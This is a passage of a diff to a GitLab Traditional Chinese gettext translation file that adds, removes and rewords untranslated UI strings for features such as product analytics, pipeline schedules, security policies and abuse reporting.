msgstr ""
@@ -28024,13 +28373,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28081,6 +28424,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "å月"
@@ -28506,6 +28861,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28671,6 +29029,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29095,12 +29456,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29258,9 +29613,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29401,12 +29753,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -29938,7 +30284,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -29953,6 +30299,9 @@ msgstr "所有"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -29965,6 +30314,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "未啟用"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -29992,6 +30344,12 @@ msgstr "為此æµæ°´ç·šæ供簡短æè¿°"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30010,6 +30368,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -30964,9 +31325,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31024,6 +31382,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31051,7 +31412,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31066,9 +31430,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31180,6 +31541,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31192,27 +31556,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -31867,6 +32432,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "從未"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32086,6 +32663,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32161,9 +32741,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32335,9 +32912,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32488,10 +33062,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32623,6 +33197,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33247,6 +33824,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33259,6 +33854,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33295,6 +33893,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34023,6 +34624,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34290,9 +34894,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34350,9 +34951,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34389,6 +34987,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35321,7 +35946,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35692,7 +36317,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -35899,6 +36524,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -35923,9 +36554,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -35941,6 +36569,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -35950,12 +36581,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36148,9 +36803,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36507,6 +37159,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36528,6 +37189,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -36807,7 +37471,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -36870,10 +37534,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -36888,6 +37552,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -36957,9 +37624,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37179,9 +37843,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37209,6 +37870,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37239,9 +37903,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37260,9 +37921,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38041,6 +38699,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38255,9 +38916,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38384,9 +39042,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38417,6 +39072,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38444,10 +39105,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38459,22 +39120,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr ""
-
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -38972,6 +39627,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39167,15 +39828,15 @@ msgstr "由此更改 %{new_merge_request}"
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39665,18 +40326,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -39893,6 +40572,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -39911,7 +40593,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -39932,9 +40614,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40422,15 +41101,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40461,6 +41131,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40723,9 +41408,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr "派生關係已被刪除。"
@@ -41125,6 +41810,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41329,6 +42017,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41677,6 +42368,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -41779,21 +42473,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42016,6 +42716,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42091,9 +42794,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42298,7 +42998,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
